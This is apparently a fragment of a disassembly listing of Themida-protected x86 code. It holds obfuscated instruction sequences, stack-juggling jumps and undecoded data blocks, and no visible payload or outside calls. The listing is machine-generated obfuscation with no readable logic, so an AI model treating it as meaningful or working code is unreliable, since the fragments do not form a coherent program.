--------------------------------------------------------------------------- db 81h, 0E9h, 13h dd 18AB495h, 640559CBh, 0E978924Ch, 11CCh, 4C581h, 57E90000h dd 0F7000001h, 1BE92414h, 81FFFFE2h, 54B364C6h, 5EF22960h dd 26A1F281h, 0F2817BD2h, 212F858h, 87E9D029h db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_570DCB: ; CODE XREF: Themida_:00561D66j pop ebp neg edi xor edi, 1EC6C30h push 1701h jmp loc_56AA02 ; --------------------------------------------------------------------------- dw 1489h dd 0EC815124h, 4, 0B0240489h, 8BC1887Bh, 0C4812404h, 4 dd 0FE05E1C0h, 0CF81E9C9h, 0DDF6FFFFh, 3096B050h, 0E82858C5h dd 0E9240C8Bh, 0FFFF11A0h, 7470F0B9h, 2BBA5241h, 135EA38h dd 0AAE95AD1h db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_570E27: ; CODE XREF: Themida_:00574B05j push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_56B307 ; --------------------------------------------------------------------------- dd 6C69BE56h, 78E9587Ah, 8BFFFF95h, 0C4812404h, 4, 0FF5EF9E9h db 0FFh ; --------------------------------------------------------------------------- loc_570E51: ; CODE XREF: Themida_:0056220Dj and eax, edx jmp loc_567995 ; --------------------------------------------------------------------------- dd 22F18149h, 0C148C913h, 22E904E9h db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_570E67: ; CODE XREF: Themida_:0056EFC5j add bl, al sub bl, 8Ch add bl, 70h add bl, 3 sub bl, 0B9h movzx eax, al mov dx, [esp] jmp loc_57060E ; --------------------------------------------------------------------------- byte_570E81 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0055FD00o dd 8324048Bh, 0EC8304C4h, 901AE904h, 0ED81FFFFh, 0FD33847Dh dd 0FF90C0E9h, 242C89FFh, 8CE9E589h db 6Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_570EA7: ; CODE XREF: Themida_:00566701j shl ch, 1 jmp loc_56625B ; --------------------------------------------------------------------------- dw 0C381h dd 3FADAB44h, 1C8B5A53h, 4C48324h, 0AEB8C281h, 0D189C289h dd 0D7EE815Ah, 14E6057h, 74B850CEh, 5228BF76h, 0A0E163BAh dd 5AD00125h, 0FFD874E9h db 0FFh ; --------------------------------------------------------------------------- loc_570EE1: ; CODE XREF: Themida_:00560705j pop ebx push ebp jmp loc_562F88 ; --------------------------------------------------------------------------- dd 55D6F75Fh, 0AB1ADABDh, 0B75E92Dh, 2C89FFFFh, 4A03E924h dd 0ED83FFFFh, 242C8704h, 240C895Ch, 70E95556h db 46h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_570F0F: ; CODE XREF: Themida_:0056059Fj sub esp, 4 mov [esp], ebx push 4AECh mov [esp], edx jmp loc_56E400 ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 4BFh, 8BFB0100h, 8950243Ch, 405E0h, 0BF570000h, 4, 875FF801h dd 525C2404h, 4EC81h, 4890000h, 6F9FB824h, 8EE95ED4h, 5BFFFF3Fh dd 0E9E78957h, 0FFFFED31h ; --------------------------------------------------------------------------- loc_570F64: ; CODE XREF: Themida_:00563233j push ecx push 4946h mov [esp], edx push 58Dh jmp loc_560AF7 ; --------------------------------------------------------------------------- db 81h dd 4C3h, 0F51BE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_570F82: ; CODE XREF: Themida_:00566832j sub esp, 4 mov [esp], edi jmp loc_56F7F2 ; --------------------------------------------------------------------------- loc_570F8D: ; CODE XREF: Themida_:00567C99j push dword ptr [esp] pop ecx add esp, 4 dec dl or dl, 1Eh push esi mov esi, esp push ebp mov ebp, 306140E8h or ebp, 4297637Eh or ebp, 64652738h push ebx jmp loc_563E19 ; --------------------------------------------------------------------------- loc_570FB7: ; CODE XREF: Themida_:00568B50j sub esp, 4 mov [esp], esi xor dword ptr [esp], 418D31C3h pop ebx xor ebx, 418D31C3h pop esi jmp loc_565F2C ; --------------------------------------------------------------------------- db 0FFh, 4, 24h dd 0EFC5E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_570FDA: ; CODE XREF: Themida_:0056B424j mov [esp], edx mov edx, esp add edx, 4 sub esp, 4 mov [esp], eax mov eax, 4 jmp loc_56403B ; --------------------------------------------------------------------------- db 31h, 0FAh, 5Fh dd 0B217F281h, 17E9AFC7h db 0Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571003: ; CODE XREF: Themida_:00574576j push esi mov esi, esp jmp loc_57347C ; --------------------------------------------------------------------------- aS5 db '[é5',1Bh,0 dd 4C48100h, 29000000h, 242C8BE8h, 8304C483h, 0C8904ECh dd 459E6824h, 5359134Fh, 9E00CD68h, 241C8B5Fh, 8904EC83h dd 3DE92414h, 5C00001Ch, 2B850h, 0BF570000h, 41C54EF1h dd 3EFC14Fh, 36E5E9h db 0 ; --------------------------------------------------------------------------- loc_571055: ; CODE XREF: Themida_:00572344j pop edi jmp loc_57210B ; --------------------------------------------------------------------------- db 81h dd 615C1EEAh, 242C8B2Dh, 0E904C483h, 0FFFF4A71h, 43FFC383h dd 8108E3C1h, 8B3DD9EBh, 5BDD2912h, 0FF111CE9h, 0E95D59FFh dd 20DFh, 0D2B35366h, 5B66D800h, 7504D504h, 8B2434FFh dd 18E9241Ch db 9Eh, 2 dup(0FFh) byte_57109F db 68h ; DATA XREF: Themida_:0055FEC0o dd 1FDEh, 0E9243489h, 0FFFFC521h, 4BE56h, 0F5010000h, 0FF9612E9h db 0FFh ; --------------------------------------------------------------------------- loc_5710B9: ; CODE XREF: Themida_:00574E39j mov edx, ebp pop ebp xor esi, edx jmp loc_56395A ; --------------------------------------------------------------------------- loc_5710C3: ; CODE XREF: Themida_:00564CF6j add eax, edx mov edx, [esp] add esp, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], eax mov eax, 3FD319C6h jmp loc_56F61F ; --------------------------------------------------------------------------- loc_5710E1: ; CODE XREF: Themida_:0056E21Bj xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], edx push eax pushf jmp loc_56E5D0 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFEEEA3h ; --------------------------------------------------------------------------- loc_5710FC: ; CODE XREF: Themida_:00565DF3j dec al xor al, 0B8h mov dh, al pop eax jmp loc_56A82B ; --------------------------------------------------------------------------- loc_571108: ; CODE XREF: Themida_:0056B7EBj pop eax add ebp, esi pop esi add ebp, esi sub ebp, 597361B3h pop esi sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi mov esi, esp push 3497h mov [esp], edx push eax mov eax, 50E64775h add eax, 2915283Fh xor eax, 4FA8128Bh dec eax xor eax, 499E11D3h add eax, 80329317h mov edx, eax jmp loc_56F48C ; --------------------------------------------------------------------------- dw 0E589h dd 4C581h, 0C5830000h, 74FF5504h, 2C8B0424h, 4C48324h dd 5C24048Fh, 0FF8B0EE9h, 2434FFFFh, 0FFFDE6E9h, 2AE950FFh dd 83FFFF1Bh, 1C8904ECh, 80E2B324h, 0D800D0C3h, 1F1AE9h db 0 ; --------------------------------------------------------------------------- loc_57118D: ; CODE XREF: Themida_:00571C19j add ecx, 4 xchg ecx, [esp] mov esp, [esp] pop dword ptr [esp] jmp loc_569C1D ; --------------------------------------------------------------------------- db 89h, 0E3h, 81h dd 4C3h, 4EB8100h, 87000000h, 0F2E9241Ch, 2D000027h, 18F71FDCh dd 0FFABBFE9h db 0FFh byte_5711C1 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0055FCD8o aHn db '$h',27h,0 align 2 dw 0EAE9h dd 31FFFFE8h, 9FBEE9D7h, 685BFFFFh, 16F8h, 89241C89h, 0BBE951E3h dd 28FFFF6Ch, 24048BE5h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push cx not byte ptr [esp+1] pop cx shr ch, 5 sub esp, 4 mov [esp], edx mov dl, 70h or dl, 0EEh sub dl, 2Dh push ax mov ah, 35h jmp loc_572628 ; --------------------------------------------------------------------------- dd offset dword_5BB168 align 2 dw 1489h dd 88BBA24h, 0DCE90FE7h db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571233: ; CODE XREF: Themida_:00564086j push 607D5FCCh pop eax jmp loc_56F507 ; --------------------------------------------------------------------------- loc_57123E: ; CODE XREF: Themida_:005650BEj mov ecx, 522DE6D8h add ecx, edx jmp loc_56F379 ; --------------------------------------------------------------------------- dw 68h dd 0E9000000h, 0FFFFC756h, 0E9E68956h, 0FFFF42DEh ; --------------------------------------------------------------------------- loc_57125C: ; CODE XREF: Themida_:005605E7j xor [esp], eax xor eax, [esp] mov esp, [esp] jmp loc_566BD8 ; --------------------------------------------------------------------------- dw 0B105h dd 5142270Dh, 4D2FB5B9h, 0B0E98131h, 8175E659h, 5D5BE3E9h dd 8E9C14Dh, 0FF2DC8E9h, 4EC83FFh, 0E9240C89h, 0FFFFFBA4h dd 3C8BF821h, 4C48124h, 35000000h, 114082h, 451F68h, 24048900h dd 37A7BB53h, 4481288Dh, 7FDC0424h, 5C015EDCh, 59E90424h db 32h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5712C3: ; CODE XREF: Themida_:005627C9j push 4C95h mov [esp], ecx push esi mov esi, 191D3D5Dh mov ecx, esi jmp loc_561298 ; --------------------------------------------------------------------------- dd 780520BBh, 8F91E9D0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5712E2: ; CODE XREF: Themida_:00573B78j mov bl, al mov [edx], bl jmp loc_56CC03 ; --------------------------------------------------------------------------- loc_5712EB: ; CODE XREF: Themida_:0056CC7Dj inc eax dec eax neg eax xor eax, ebx xor ebx, eax xor eax, ebx jmp loc_566125 ; --------------------------------------------------------------------------- dw 0C87h dd 24248B24h, 24048B66h, 141568h, 242C8900h, 225868h, 24248900h dd 0FFEED2E9h, 34875BFFh, 48D8E924h, 8C68FFFFh, 89000020h dd 0EC812404h, 4, 24048F54h, 4240481h, 0FF000000h, 48B2434h dd 4C48124h, 51000000h, 0C1815954h, 4, 4C181h, 0C870000h dd 24248B24h, 4BF57h, 0FE050000h, 105F067h, 0A58DE9F8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57136E: ; CODE XREF: Themida_:0056FF85j xor eax, edi pop edi push ebp mov ebp, 7EFF61E7h push 4BC5h mov [esp], edi mov edi, 1D0C6B59h xor ebp, edi pop edi sub edi, ebp jmp loc_57252D ; --------------------------------------------------------------------------- dw 431h dd 24043324h, 240C895Ch, 4EC81h, 8F540000h, 52E92404h db 0, 2 dup(0FFh) byte_5713A7 db 52h ; DATA XREF: Themida_:0055FDB4o dd 3CBAh, 4A0B6800h, 4890000h, 11F8B824h, 0D40144Ah, 7D683644h dd 0DB735h, 8E8C101h, 0B1636335h, 58C20109h, 4EC81h, 4890000h dd 40D0E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5713DE: ; CODE XREF: Themida_:00567905j mov edi, 38755226h add edi, 48367338h jmp loc_571B3F ; --------------------------------------------------------------------------- loc_5713EE: ; CODE XREF: Themida_:00569139j pop edx xchg ebx, ebp xor [esp], ebp xor ebp, [esp] jmp loc_565A87 ; --------------------------------------------------------------------------- dd 59CF295Dh, 0E9242C8Bh, 0FFFEF7A9h, 255DE889h, 19D938F2h dd 0FF5FE6E9h, 0E68956FFh, 4C681h, 0C6830000h, 24348704h dd 2434FF5Ch, 0F5AE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57142E: ; CODE XREF: Themida_:00566622j mov [esp], ebx push esi jmp loc_568B4B ; --------------------------------------------------------------------------- db 89h dd 4C281E2h, 0E9000000h, 0FFFF6FD8h, 465BDE89h, 456FCE81h dd 0C1461179h, 0DEF706E6h, 0FFFCEE81h, 0F101A1ADh, 5324348Bh dd 282EE954h, 5954FFFFh, 0FF5785E9h db 0FFh aM0HG db '¬0Øh/G',0 ; DATA XREF: Themida_:0055FEF0o dd 654CE900h, 2489FFFFh, 16EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_571482: ; CODE XREF: Themida_:00566B32j dec esi push eax sub esp, 4 mov [esp], edx jmp loc_56BA56 ; --------------------------------------------------------------------------- db 0B1h dd 38B05056h, 0E958C128h, 0FFFF33FFh, 486AC781h, 0EF8167A0h dd 5BF202DCh, 243C335Eh, 33243C31h, 248B243Ch, 0C8856624h dd 0EAE1E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5714BE: ; CODE XREF: Themida_:00562EB9j mov eax, 4 add esi, eax pop eax sub esi, 4 jmp loc_56A284 ; --------------------------------------------------------------------------- loc_5714CE: ; CODE XREF: Themida_:0056E3A4j add esp, 4 push 6BA8h jmp loc_56FF43 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFEEABFh, 5BDF315Ah, 8103E7C1h, 740E29C7h, 5FF80101h dd 0FF3885E9h, 8CF581FFh, 8137A06Dh, 0ADBBA5F5h, 5DEF099Bh dd 0E9FFEF83h, 0B06h, 0F704C483h, 0FAC581DDh, 8165E56Ah dd 3D1ED4EDh, 5DE889F5h, 0B81C281h, 0C2297D5Bh, 0FF28C9E9h db 0FFh ; --------------------------------------------------------------------------- loc_57152D: ; CODE XREF: Themida_:00574034j mov edi, 661715D5h inc edi xor edi, 6344361Ah add ecx, edi pop edi jmp loc_569ED9 ; --------------------------------------------------------------------------- db 33h, 34h, 24h dd 2414895Ch, 0FEEA52E9h db 0FFh ; --------------------------------------------------------------------------- loc_57154D: ; CODE XREF: Themida_:0056BCC7j mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xor edx, 16FC1E8Fh jmp loc_574A34 ; --------------------------------------------------------------------------- db 81h dd 4C3h, 4EB8100h, 0E9000000h, 0FFFF1052h ; --------------------------------------------------------------------------- loc_57157C: ; CODE XREF: Themida_:00564F94j add dword ptr [esp], 3D1274E9h pop esi not esi inc esi shr esi, 3 xor esi, 0C4C08B1h mov eax, esi jmp loc_561F4A ; --------------------------------------------------------------------------- db 40h dd 82C1BB35h, 58C5016Ah, 7AE9EDD1h db 3Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5715A7: ; CODE XREF: Themida_:0056C46Fj add ebx, 4 xchg ebx, [esp] pop esp add esp, 4 pop eax sub [edi+24h], ebx jmp loc_56BA40 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 6624248Bh, 2404BB0Fh, 236BE99Ch, 0EC830000h, 24048904h dd 0A8369DB8h, 58C5093Ch, 7BEAF581h, 0ED8147A3h, 5E100CE4h dd 0E906E5C1h, 0FFFFAA65h, 4EC81h, 0C890000h, 4B924h, 0EC810000h dd 4, 0E9243C89h, 0FFFFC134h, 0C681DE01h, 3A6D035Dh, 81241C8Bh dd 4C4h, 4C68100h, 56000000h, 42474FFh, 24048F5Eh, 0FF81C9E9h dd 4C483FFh, 58A168h, 0E522E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57163E: ; CODE XREF: Themida_:00571F63j add esi, eax pop eax push eax mov eax, 4 sub esi, eax pop eax xor esi, [esp] jmp loc_5601E6 ; --------------------------------------------------------------------------- dw 815Ah dd 0D9CBD2EFh, 0E9F829FBh, 2237h, 243C895Ch, 1E9F68h, 6037E900h dd 1E68FFFFh, 89000008h, 0E589242Ch, 0FFE5A1E9h, 241C8BFFh dd 4C481h, 0E9570000h, 0FFFFD0FFh, 81242C8Bh, 4C4h, 0E1895100h dd 0E9E08950h, 36D2h ; --------------------------------------------------------------------------- loc_5716A0: ; CODE XREF: Themida_:0056A08Ej push ebx jmp loc_561854 ; --------------------------------------------------------------------------- loc_5716A6: ; CODE XREF: Themida_:0056A8E0j not edi jmp loc_56A5CB ; --------------------------------------------------------------------------- db 0BEh, 4, 0 dd 0A2E90000h db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5716B7: ; CODE XREF: Themida_:005654C9j mov [esp], ebp jmp loc_566781 ; --------------------------------------------------------------------------- loc_5716BF: ; CODE XREF: Themida_:00568641j pop edi xor edx, ebp jmp loc_5701C2 ; --------------------------------------------------------------------------- db 31h dd 0DBE95BDDh, 0FF00001Eh, 685F2434h, 655Fh, 54243489h dd 4C6815Eh, 0E9000000h, 0FFFFE374h dword_5716E8 dd 24048B66h, 0FFC0C7E9h ; DATA XREF: Themida_:0055FD38o db 0FFh ; --------------------------------------------------------------------------- loc_5716F1: ; CODE XREF: Themida_:005749F8j push ebx push edi push 2F5D2996h mov edi, [esp] add esp, 4 jmp loc_569A1C ; --------------------------------------------------------------------------- db 87h dd 36E9240Ch, 56FFFFABh, 2BEh, 0B623E900h, 4BEFFFFh, 1000000h dd 5E31E9F0h, 0ED81FFFFh, 0FFFFFFFFh, 0E2C1EA87h, 46A36808h dd 0F7E90000h, 5DFFFFA5h, 0FF7E92E9h, 4C483FFh, 7CBBB53h dd 41E906EBh, 0FEFFFF66h, 76C6E9C1h, 0E1F6FFFFh, 0FF2151E9h dd 24048BFFh, 7168h, 243C8900h, 0C781E789h, 4, 4BB53h dd 0DF010000h, 243C875Bh, 6824248Bh, 40Ch, 0B8240489h dd 2, 48BC529h, 33F8E924h, 87B80000h, 0F710BA06h, 0CD7E05D0h dd 0A7E9B9A4h, 5A000027h, 5204C483h, 0F3002AB6h, 0FFA059E9h db 0FFh ; --------------------------------------------------------------------------- loc_5717B1: ; CODE XREF: Themida_:0057034Dj push esp jmp loc_562DDF ; --------------------------------------------------------------------------- db 89h dd 79B3241Ch, 8005E3C0h, 0E380B4EBh, 94F3805Ch, 0D1F6CB86h dd 0C3FECB86h, 8008E3C0h, 0D8285CF3h, 5B2434FFh, 4C481h dd 51660000h, 0FF8A40E9h, 63685CFFh, 8900007Ah, 58562404h dd 0E958C589h, 0FFFFE803h ; --------------------------------------------------------------------------- loc_5717FC: ; CODE XREF: Themida_:0056B4E7j inc ecx or ecx, 2694E2Eh sub ecx, 0CAF683Eh xor ecx, 6F782B36h xor esi, ecx pop ecx or edx, esi pop esi jmp loc_5745BB ; --------------------------------------------------------------------------- loc_57181A: ; CODE XREF: Themida_:005633F2j push edi push 2832h mov [esp], ecx mov ecx, 635529EEh neg ecx sub ecx, 2C9D1FD3h and ecx, 7CD65AA4h add ecx, 6DEEF5Fh mov edi, ecx pop ecx add edi, 602321E0h not edi jmp loc_57220E ; --------------------------------------------------------------------------- dd 5559CB01h, 782AB8BDh, 0B8ED8134h, 29B878D5h, 0E995E9EBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571862: ; CODE XREF: Themida_:0056CBFEj push 78A6h mov [esp], esi mov eax, [esp] add esp, 4 jmp loc_5687FB ; --------------------------------------------------------------------------- loc_571875: ; CODE XREF: Themida_:00563E1Ej and ebx, 4BE242DCh not ebx and ebx, 50400AC3h xor ebx, 5BF23F6Fh and ebp, ebx jmp loc_5751A3 ; --------------------------------------------------------------------------- dword_571890 dd 240C8B66h, 0E904EC83h, 0FFFFEEF3h, 2C3685Bh, 14890000h ; DATA XREF: Themida_:0055FEFCo dd 807CB224h db 0E2h, 0F3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_5705C9 ; --------------------------------------------------------------------------- dd 0E9241C89h, 0FFFFB67Ch ; --------------------------------------------------------------------------- loc_5718C0: ; CODE XREF: Themida_:005653CEj mov ebp, 3D0015Ah or ebp, 5DCC3E3Ah inc ebp xor ebp, 24135872h add ebp, 3C6D1AC1h xor ebp, 0D9AAF922h add esi, ebp pop ebp jmp loc_568B10 ; --------------------------------------------------------------------------- dw 968h dd 5B132737h, 2ACEEB81h, 0DF89EC5Bh, 0DD0E9h db 0 ; --------------------------------------------------------------------------- loc_5718F9: ; CODE XREF: Themida_:00574E52j xor dl, al mov eax, [esp] add esp, 4 xor dl, cl pop ecx push eax push ebx mov bh, dl mov ah, bh jmp loc_56C0D6 ; --------------------------------------------------------------------------- dw 0E0C1h dd 0B6720507h, 0C1894973h, 0FF676DE9h, 240C89FFh, 42474FFh dd 68240C8Bh, 3C35h, 54241489h, 5624148Bh, 0C681E689h dd 4, 4C681h, 34870000h, 53575C24h, 4BBh, 0E9DF8900h, 0FFFEF89Eh ; --------------------------------------------------------------------------- loc_571958: ; CODE XREF: Themida_:0056C2F6j mov edx, eax jmp loc_572A4C ; --------------------------------------------------------------------------- loc_57195F: ; CODE XREF: Themida_:00562D50j mov [esp], eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_5643FF ; --------------------------------------------------------------------------- loc_571974: ; CODE XREF: Themida_:00569A4Dj mov [esp], ebx pop edx push esi push edx push edi jmp loc_56C60A ; --------------------------------------------------------------------------- loc_571980: ; CODE XREF: Themida_:005642B1j pop esp mov [esp], ebp mov ebp, 4 add ecx, 51FD097Eh add ecx, 75272EB2h sub ecx, ebp push esi jmp loc_571CD1 ; --------------------------------------------------------------------------- db 53h, 89h, 0E3h dd 0FFF5D2E9h, 0A8EF81FFh, 897E54DFh, 0E0C15FF8h, 59F5E903h dd 148BFFFFh, 4C48324h, 0FF06F6E9h, 24148BFFh, 4C481h dd 0C3800000h, 0B4EB8049h, 0FF71F4E9h db 0FFh ; --------------------------------------------------------------------------- loc_5719D5: ; CODE XREF: Themida_:00569634j pop edi push esi mov esi, 73A25C98h or esi, 0EED3807h jmp loc_570657 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFEE5B3h, 323DF3BAh, 57C2816Ch, 10A823Ah, 15E5AD1h dd 240C8BCAh, 4C481h, 0EA010000h, 0FFE0FFE9h db 0FFh ; --------------------------------------------------------------------------- loc_571A0D: ; CODE XREF: Themida_:005668F5j mov dh, 0ACh neg dh not dh jmp loc_57265C ; --------------------------------------------------------------------------- loc_571A18: ; CODE XREF: Themida_:0056116Ej add ebp, 4 push ebx mov ebx, 4 sub ebp, ebx pop ebx jmp loc_56F1B1 ; --------------------------------------------------------------------------- aISn db '‰Êén$',0 dw 5E00h dd 0FC38E950h, 815BFFFEh, 4ECh, 242C8900h, 42474FFh, 0E92434FFh dd 0FFFFDDAEh dword_571A50 dd 24048B66h, 0FF89CAE9h, 0F2E950FFh, 81FFFF48h, 1E00A7EAh ; DATA XREF: Themida_:0055FF40o dd 5AD72939h, 815FF989h, 141F1FC9h, 0E950412Ch, 0FFFF3F81h ; --------------------------------------------------------------------------- loc_571A78: ; CODE XREF: Themida_:0056CBC1j pop edi add eax, 4 jmp loc_562097 ; --------------------------------------------------------------------------- db 68h, 1Ch, 64h dd 0C15D7079h, 0F58106E5h, 4EB8043Ah, 0FF2115E9h, 0F7D9F7FFh dd 0C98141D1h, 3F327B34h, 1895BB53h, 7BE978F3h, 5AFFFEF1h dd 0E924348Bh, 0C07h, 8804C483h, 66EFE9EEh, 0C180FFFFh dd 3D24E94Ah, 48BFFFFh, 4C48324h, 4E981h, 0C870000h, 927BE924h dd 0C89FFFFh, 0E2D8E924h, 0B8E9FFFFh, 0F7FFFEE4h, 0CEC281D2h dd 81667C75h, 142728C3h, 81D30163h, 142728EBh, 24148B63h dd 0FFC85BE9h db 0FFh ; --------------------------------------------------------------------------- loc_571B05: ; CODE XREF: Themida_:00568A09j add esp, 2 jmp loc_56F903 ; --------------------------------------------------------------------------- db 0B7h, 96h, 0F6h dd 80D7F6D7h, 0E980F2EFh, 82C18097h, 0E980F928h, 97B75382h dd 5B5BF900h, 8059CA30h, 0EA80ACE2h, 4EC818Dh, 89000000h dd 0F1E92404h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571B3F: ; CODE XREF: Themida_:005713E9j push esi mov esi, 6DBB0903h shr esi, 6 xor esi, 31474559h xor esi, 7BC4451Ch push 387Eh mov [esp], esi not dword ptr [esp] pop esi jmp loc_573270 ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 0F3h db 5Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571B6B: ; CODE XREF: Themida_:005686A9j pop esp push 6EC7h jmp loc_56EC17 ; --------------------------------------------------------------------------- dw 0F828h dd 241C8B66h, 0FF5B7EE9h db 0FFh ; --------------------------------------------------------------------------- loc_571B81: ; CODE XREF: Themida_:00568CCDj add ebp, edi pop edi add ebx, 671E3DCBh jmp loc_5632B5 ; --------------------------------------------------------------------------- db 0F7h dd 76BA52DFh, 0C1463E1Eh, 1EE902EAh, 89FFFEFBh, 34FF2404h dd 2434FF24h, 5724048Bh, 0FF3EEFE9h db 0FFh ; --------------------------------------------------------------------------- loc_571BB1: ; CODE XREF: Themida_:00561E84j xor edx, eax xor eax, edx jmp loc_56A17B ; --------------------------------------------------------------------------- loc_571BBA: ; CODE XREF: Themida_:0056BF74j or ebp, 4F0E03DDh push ecx jmp loc_56700B ; --------------------------------------------------------------------------- dw 3158h dd 31D831C3h, 0B4EB81C3h, 0E98C43AEh, 0F86h, 5C240433h dd 240CD366h, 0E3B9E99Ch, 8966FFFEh, 0E668241Ch, 0E900007Fh dd 0FFFF8E99h, 2454015Fh, 246C8104h, 65195804h, 24148B7Bh dd 0C880E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571C0A: ; CODE XREF: Themida_:005670C8j push ebx jmp loc_57493F ; --------------------------------------------------------------------------- loc_571C10: ; CODE XREF: Themida_:0056B13Ej push ecx mov ecx, esp add ecx, 4 jmp loc_57118D ; --------------------------------------------------------------------------- dw 487h dd 89565C24h, 4C681E6h, 81000000h, 4EEh, 24348700h, 0FFD8B9E9h db 0FFh ; --------------------------------------------------------------------------- loc_571C39: ; CODE XREF: Themida_:005674C8j pop eax xor eax, 47252180h mov ebp, [esp] push eax push esp jmp loc_5658C0 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4240483h, 4C6815Eh, 55000000h, 4BDh, 5DEE0100h, 0E9243433h dd 0FFFFEB5Ch ; --------------------------------------------------------------------------- loc_571C68: ; CODE XREF: Themida_:0056831Bj mov [esp], edi mov edi, 1190E110h jmp loc_56E39C ; --------------------------------------------------------------------------- db 5Ah, 51h, 0F7h dd 0E9592414h, 0FFFF6C3Fh ; --------------------------------------------------------------------------- loc_571C80: ; CODE XREF: Themida_:0056396Ej add esp, 4 jmp loc_571DA1 ; --------------------------------------------------------------------------- db 56h dd 83E95E54h, 81FFFF6Ah, 4ECh, 243C8900h, 935DAFBFh, 0FE9477Ah dd 81FFFEE5h, 22CAC5C3h, 5BDA0106h, 7CA0C281h, 0EA8131BAh dd 0E3036DEh, 0E46C281h, 54E94683h db 50h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571CC7: ; CODE XREF: Themida_:0056DB15j and eax, ebp mov ebp, [esp] jmp loc_568776 ; --------------------------------------------------------------------------- loc_571CD1: ; CODE XREF: Themida_:00571998j mov esi, 725C5459h jmp loc_569639 ; --------------------------------------------------------------------------- loc_571CDB: ; CODE XREF: Themida_:0056415Ej xor edi, [esp] jmp loc_56C8E9 ; --------------------------------------------------------------------------- db 52h dd 0B1510CB6h, 59E18040h, 0FEFFBBE9h db 0FFh ; --------------------------------------------------------------------------- loc_571CF1: ; CODE XREF: Themida_:00566E23j pop edx inc al not al jmp loc_5703E6 ; --------------------------------------------------------------------------- loc_571CFB: ; CODE XREF: Themida_:0056C0EEj push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_562291 ; --------------------------------------------------------------------------- dd 4C581h, 0ED830000h, 74FF5504h, 0E95D0424h, 3381h, 0F685658h dd 8B3E640Bh, 7CE92434h, 50FFFEE2h, 20E9E089h db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571D33: ; CODE XREF: Themida_:0056E43Ej pop esi add esp, 4 xchg eax, edx xchg eax, ebx xchg edi, ebx jmp loc_56989A ; --------------------------------------------------------------------------- db 52h dd 0C281E289h, 4, 4C281h, 14870000h, 2B3AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571D5A: ; CODE XREF: Themida_:00570A16j push edi push ebx mov ebx, 117C5E6Ah mov edi, 117C5E6Eh jmp loc_568E23 ; --------------------------------------------------------------------------- loc_571D6B: ; CODE XREF: Themida_:0056123Aj mov edx, 672F0506h add ecx, edx pop edx mov eax, [esp] add esp, 4 push 5D9Ch mov [esp], ebx push 40h push dword ptr [esp] jmp loc_560C2D ; --------------------------------------------------------------------------- dw 433h dd 24248B24h, 0FF3B4BE9h db 0FFh ; --------------------------------------------------------------------------- loc_571D99: ; CODE XREF: Themida_:00562D32j mov esi, [esp] jmp loc_562CF0 ; --------------------------------------------------------------------------- loc_571DA1: ; CODE XREF: Themida_:00571C86j xor ecx, 20D24751h push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 jmp loc_5633F7 ; --------------------------------------------------------------------------- db 81h dd 0B108246Ch, 0E93DF066h, 0FFFF5C47h, 57DC581h, 148B3536h dd 635E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_571DD6: ; CODE XREF: Themida_:005725B6j pop eax mov ebp, edi pop edi sub [esp+4], ebp pop ebp pop dword ptr [edi+24h] push 63DDh mov [esp], ecx push ebx pop ecx jmp loc_56495E ; --------------------------------------------------------------------------- db 0C1h, 0E2h, 5 dd 0E004BF57h, 0FA01FDFDh, 0CAD4E95Fh, 0BF57FFFFh, 4, 0FEFA33E9h dd 243489FFh, 7E3468h, 24248900h, 4240483h, 8B2434FFh dd 0C4832434h, 4EC8104h, 89000000h, 0E589242Ch, 4C581h dd 0C5830000h, 242C8704h, 0E924248Bh, 0FFFEEFF1h, 0B151F828h dd 7E1C058h, 0FF2F95E9h, 0FA015CFFh, 24E4E9h, 0E0895000h dd 405h, 42D00h, 4870000h, 0FC3EE924h, 0E789FFFEh, 0FF09D2E9h db 0FFh ; 